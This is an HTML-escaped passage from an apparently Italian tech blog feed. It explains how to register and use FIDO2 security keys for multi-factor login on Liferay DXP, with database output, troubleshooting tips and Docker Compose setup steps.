        &lt;img alt=&quot;Figura 12 - Security Key FIDO2 registrata sull&amp;#x27;account dell&amp;#x27;utente&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/c1b63/user-account-settings-mfa-fido-registration-3.png&quot; title=&quot;Figura 12 - Security Key FIDO2 registrata sull&amp;#x27;account dell&amp;#x27;utente&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 12 - Security Key FIDO2 registrata sull&amp;#x27;account dell&amp;#x27;utente&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Al termine della registrazione, le informazioni sono memorizzate sulla tabella
&lt;code&gt;mfafido2credentialentry&lt;/code&gt; di Liferay la cui struttura è mostrata a seguire.
Tra le informazioni memorizzate è disponibile la chiave pubblica
(in &lt;code&gt;credentialkey&lt;/code&gt;).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lportal=&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# \d mfafido2credentialentry;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; mvccversion               | bigint                      |           | not null | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; mfafido2credentialentryid | bigint                      |           | not null |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; companyid                 | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; userid                    | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; username                  | character varying(75)       |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; createdate                | timestamp without &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; zone |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; modifieddate              | timestamp without &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; zone |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; credentialkey             | text                        |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; credentialkeyhash         | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; credentialtype            | integer                     |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; failedattempts            | integer                     |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; publickeycose             | character varying(128)      |           |          |&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; signaturecount            | bigint                      |           |          |&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Struttura della tabella mfafido2credentialentry&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A seguire sono invece mostrati i dati contenuti all&amp;#x27;interno della tabella
&lt;code&gt;mfafido2credentialentry&lt;/code&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lportal=&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# select * from mfafido2credentialentry;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mvccversion               | 8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;mfafido2credentialentryid | 44754&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;companyid                 | 34701&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;userid                    | 44725&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;username                  | Antonio Musarra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;createdate                | 2022-05-19 16:37:18.277&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;modifieddate              | 2022-05-19 23:53:10.883&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;credentialkey             | bzLIWZQhw1fEuKlRrdNAoJxYJR/g1Z+BgRhbywlMp8hA9rqIJSyUPq9kS2xxLj3Ps1wSsr4nrNgjVirGz4oCOA==&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;credentialkeyhash         | 236161127&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;credentialtype            | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;failedattempts            | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;publickeycose             | pQECAyYgASFYIN4KLjv3JhB4SMwAB8e43wDEMDXJvM7Ag8Z7xxqFlDRrIlggO8V4jr/1JZcsj5kybUQfzDTG0vJvZi2yi4M6XTsfMXI=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;signaturecount            | 27&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Contenuto della tabella mfafido2credentialentry che contiene i dati di registrazione della Security Key&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In alcuni casi potrebbe capitare che il processo di registrazione non vada a
buon fine e i più comuni motivi sono in genere:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;La versione del browser non supporta il protocollo WebAuthn. In questo caso consiglio l&amp;#x27;aggiornamento del browser e consultare il documento &lt;a href=&quot;https://fidoalliance.org/fido2-2/fido2-web-authentication-webauthn/&quot;&gt;FIDO2: Web Authentication (WebAuthn)&lt;/a&gt; e in particolare il capitolo &lt;em&gt;Support for FIDO2: WebAuthn and CTAP - Browsers and Platforms&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Il dispositivo hardware (o authenticator) non è supportato dal vostro sistema operativo. Fare riferimento alla documentazione tecnica della Security Key&lt;/li&gt;&lt;li&gt;Il dispositivo hardware non è conforme alle specifiche FIDO2. Fare riferimento alla documentazione tecnica della Security Key&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La figura a seguire mostra il messaggio visualizzato in caso di errori nel processo di
registrazione. La consultazione del log file del portale dovrebbe aiutare a
capire la causa dell&amp;#x27;errore in fase di registrazione.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/7f2ab/user-account-settings-mfa-fido-registration-4.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:36%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;145\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20145\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M83%20108v14h96v-14H83\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/c85cb/user-account-settings-mfa-fido-registration-4.webp 300w,/static/73c30e81911a3e98c8419f5b9051bbf1/e88ff/user-account-settings-mfa-fido-registration-4.webp 600w,/static/73c30e81911a3e98c8419f5b9051bbf1/92f8c/user-account-settings-mfa-fido-registration-4.webp 1200w,/static/73c30e81911a3e98c8419f5b9051bbf1/62ed8/user-account-settings-mfa-fido-registration-4.webp 1800w,/static/73c30e81911a3e98c8419f5b9051bbf1/15dde/user-account-settings-mfa-fido-registration-4.webp 2236w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/5a46d/user-account-settings-mfa-fido-registration-4.png 300w,/static/73c30e81911a3e98c8419f5b9051bbf1/0a47e/user-account-settings-mfa-fido-registration-4.png 600w,/static/73c30e81911a3e98c8419f5b9051bbf1/c1b63/user-account-settings-mfa-fido-registration-4.png 1200w,/static/73c30e81911a3e98c8419f5b9051bbf1/d61c2/user-account-settings-mfa-fido-registration-4.png 1800w,/static/73c30e81911a3e98c8419f5b9051bbf1/7f2ab/user-account-settings-mfa-fido-registration-4.png 2236w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 13 - Errore in caso di registrazione non andata a buon fine&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/73c30e81911a3e98c8419f5b9051bbf1/c1b63/user-account-settings-mfa-fido-registration-4.png&quot; title=&quot;Figura 13 - Errore in caso di registrazione non andata a buon fine&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 13 - Errore in caso di registrazione non andata a buon fine&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;5-test-di-autenticazione-con-fido2&quot;&gt;5. Test di autenticazione con FIDO2&lt;/h2&gt;&lt;p&gt;Ora che l&amp;#x27;autenticatore è registrato nel proprio profilo, è possibile usarlo
per accedere al portale Liferay. &lt;/p&gt;&lt;p&gt;Dopo aver inserito correttamente la propria username e password (tramite il
widget di login standard), sarà mostrato il pulsante che offre la possibilità
di verificare l&amp;#x27;identità utilizzando l&amp;#x27;autenticatore FIDO2 registrato (vedi
figura a seguire). &lt;/p&gt;&lt;p&gt;In caso di problemi con l&amp;#x27;accesso via FIDO2, è comunque
possibile richiedere l&amp;#x27;OTP di accesso via email.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/6f969/user-login-via-FIDO-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:34%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;137\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20137\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%2011c-4%204-2%207%203%208s9-5%205-8c-2-3-6-2-8%200m5%2076l-1%206v6h24V86H26l-12%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/c85cb/user-login-via-FIDO-1.webp 300w,/static/6cc998df79ea3e440f7f02cf67f99f59/e88ff/user-login-via-FIDO-1.webp 600w,/static/6cc998df79ea3e440f7f02cf67f99f59/92f8c/user-login-via-FIDO-1.webp 1200w,/static/6cc998df79ea3e440f7f02cf67f99f59/62ed8/user-login-via-FIDO-1.webp 1800w,/static/6cc998df79ea3e440f7f02cf67f99f59/46261/user-login-via-FIDO-1.webp 2400w,/static/6cc998df79ea3e440f7f02cf67f99f59/5e823/user-login-via-FIDO-1.webp 2518w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/5a46d/user-login-via-FIDO-1.png 300w,/static/6cc998df79ea3e440f7f02cf67f99f59/0a47e/user-login-via-FIDO-1.png 600w,/static/6cc998df79ea3e440f7f02cf67f99f59/c1b63/user-login-via-FIDO-1.png 1200w,/static/6cc998df79ea3e440f7f02cf67f99f59/d61c2/user-login-via-FIDO-1.png 1800w,/static/6cc998df79ea3e440f7f02cf67f99f59/97a96/user-login-via-FIDO-1.png 2400w,/static/6cc998df79ea3e440f7f02cf67f99f59/6f969/user-login-via-FIDO-1.png 2518w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 14 - Verifica dell&amp;#x27;identità tramite l&amp;#x27;autenticatore FIDO2 registrato in precedenza&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6cc998df79ea3e440f7f02cf67f99f59/c1b63/user-login-via-FIDO-1.png&quot; title=&quot;Figura 14 - Verifica dell&amp;#x27;identità tramite l&amp;#x27;autenticatore FIDO2 registrato in precedenza&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 14 - Verifica dell&amp;#x27;identità tramite l&amp;#x27;autenticatore FIDO2 registrato in precedenza&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;6-il-bonus&quot;&gt;6. Il bonus&lt;/h2&gt;&lt;p&gt;Immagino che avere la disponibilità di un Docker Compose con tutti i servizi
configurati che implementi lo scenario descritto, sia un bel bonus; siete della
stessa idea?&lt;/p&gt;&lt;p&gt;Il progetto &lt;a href=&quot;https://github.com/smclab/how-to-configure-fido2&quot;&gt;how-to-configure-fido2&lt;/a&gt;
pubblicato sul repository GitHub di SMC, contiene il Docker Compose e tutte le
configurazioni che consentono di implementare lo scenario descritto nel corso di
questo articolo.&lt;/p&gt;&lt;p&gt;A seguire sono riportati i servizi che compongono lo stack.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/dxp&quot;&gt;Liferay DXP 7.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/_/postgres&quot;&gt;PostgreSQL&lt;/a&gt; (database per Liferay)&lt;/li&gt;&lt;li&gt;Server SMTP (servizio per l&amp;#x27;invio email)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://traefik.io/&quot;&gt;Traefik&lt;/a&gt; (Load Balancer)&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Il servizio del portale Liferay è configurato per essere accessibile attraverso
Traefik su porta https e sull&amp;#x27;FQDN techblog.portal.local.&lt;/p&gt;&lt;p&gt;Gli step necessari per eseguire l&amp;#x27;intero stack sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Verifica della versione di Docker (Docker Engine 20.10.x, Docker Compose 1.29.x)&lt;/li&gt;&lt;li&gt;Clone del repository &lt;a href=&quot;https://github.com/smclab/how-to-configure-fido2&quot;&gt;how-to-configure-fido2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Aggiornamento del file di hosts (della macchina host) con le entry per Liferay&lt;/li&gt;&lt;li&gt;Avvio dello stack via Docker Compose&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Riguardo la versione di Docker, per questo articolo è stato fatto uso di
Docker Desktop per macOS versione 4.8.0 (che include Docker Engine 20.10.14 e
Docker Compose 1.29.2).&lt;/p&gt;&lt;p&gt;Ho comunque eseguito un test usando Docker su Linux. Stessa versione di Docker
usata su macOS ma con una versione di Docker Compose inferiore, ovvero, la 1.28.6.
Non ho riscontrato alcun problema, lo stack dei servizi è stato correttamente
tirato su.&lt;/p&gt;&lt;p&gt;Non ho potuto fare test su Windows; lascio a qualcuno di voi la conduzione di
questa prova.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 - Check Docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 - Clone the project git repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/how-to-configure-fido2.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 - Update the /etc/hosts with this content&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;127.0.0.1   techblog.portal.local&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 4 - Start the Docker Compose stack services (in fg o bg)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose up&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose up -d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Avvio dello stack dei servizi via Docker Compose&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A seguire è invece disponibile il video che mostra tutto il setup del portale
Liferay che abbiamo visto nel corso dell&amp;#x27;articolo.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--content--1lxMp&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--margin--D5-Qe&quot;&gt;&lt;iframe class=&quot;YoutubeVideo-module--video--2DWHr&quot; src=&quot;https://www.youtube.com/embed/V_D4j2T7xqw&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;7-conclusioni&quot;&gt;7. Conclusioni&lt;/h2&gt;&lt;p&gt;Durante lo speech &lt;a href=&quot;https://liferaybootcamp.smc.it/it/materiali-liferay-boot-camp-2022/-/categories/717266?p_r_p_resetCur=true&amp;amp;p_r_p_categoryId=717266&quot;&gt;&lt;strong&gt;Liferay Authentication: How to create a Token-based SSO system&lt;/strong&gt;&lt;/a&gt;,
abbiamo avuto modo di vedere le possibilità che Liferay offre circa i meccanismi
di autenticazione e le modalità di estensione che consentono di sviluppare le
proprie soluzioni. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Attenzione!&lt;/strong&gt; È possibile scaricare tutto il materiale del
Liferay Boot Camp 2022 seguendo il link &lt;a href=&quot;https://bit.ly/download-materials-lrbc22&quot;&gt;https://bit.ly/download-materials-lrbc22&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/be71779cf2898cefd0a02e2fa935e549/29114/banner-scarica-materiali-tech-blog-BC2022-it.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:25.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;101\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20101\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M166%2025c-7%201-9%2012-4%2017%203%203%203%203%209%203h6l1-5c1-3%202-6%201-7%200-3-5-8-7-8h-6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/be71779cf2898cefd0a02e2fa935e549/c85cb/banner-scarica-materiali-tech-blog-BC2022-it.webp 300w,/static/be71779cf2898cefd0a02e2fa935e549/e88ff/banner-scarica-materiali-tech-blog-BC2022-it.webp 600w,/static/be71779cf2898cefd0a02e2fa935e549/92f8c/banner-scarica-materiali-tech-blog-BC2022-it.webp 1200w,/static/be71779cf2898cefd0a02e2fa935e549/62ed8/banner-scarica-materiali-tech-blog-BC2022-it.webp 1800w,/static/be71779cf2898cefd0a02e2fa935e549/882b9/banner-scarica-materiali-tech-blog-BC2022-it.webp 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/be71779cf2898cefd0a02e2fa935e549/5a46d/banner-scarica-materiali-tech-blog-BC2022-it.png 300w,/static/be71779cf2898cefd0a02e2fa935e549/0a47e/banner-scarica-materiali-tech-blog-BC2022-it.png 600w,/static/be71779cf2898cefd0a02e2fa935e549/c1b63/banner-scarica-materiali-tech-blog-BC2022-it.png 1200w,/static/be71779cf2898cefd0a02e2fa935e549/d61c2/banner-scarica-materiali-tech-blog-BC2022-it.png 1800w,/static/be71779cf2898cefd0a02e2fa935e549/29114/banner-scarica-materiali-tech-blog-BC2022-it.png 1920w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Potete scaricare tutto il materiale del Liferay Boot Camp 2022 da https://bit.ly/download-materials-lrbc22&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/be71779cf2898cefd0a02e2fa935e549/c1b63/banner-scarica-materiali-tech-blog-BC2022-it.png&quot; title=&quot;Potete scaricare tutto il materiale del Liferay Boot Camp 2022 da https://bit.ly/download-materials-lrbc22&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Potete scaricare tutto il materiale del Liferay Boot Camp 2022 da https://bit.ly/download-materials-lrbc22&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Nel corso di questo articolo abbiamo invece visto nel dettaglio come configurare
e utilizzare la &lt;em&gt;Multi-factor Authentication&lt;/em&gt;, meccanismo di autenticazione
supportato OOTB (Out Of The Box) dall&amp;#x27;edizione DXP. L&amp;#x27;utilizzo del
&lt;em&gt;Security Tocken (hardware)&lt;/em&gt; è un secondo fattore di autenticazione, ovvero,
dopo che l&amp;#x27;utente ha inserito correttamente la coppia username e password.
Attraverso opportune estensioni da sviluppare, sarebbe possibile rendere
l&amp;#x27;accesso al portale Liferay completamente &lt;em&gt;password-less&lt;/em&gt; e questo potrebbe
essere argomento di un altro articolo.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Topic Modelling with Gensim]]></title><link>https://techblog.smc.ittopic-modelling</link><guid isPermaLink="false">https://techblog.smc.ittopic-modelling</guid><pubDate>Fri, 22 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article is part of the series dedicated to the most relevant
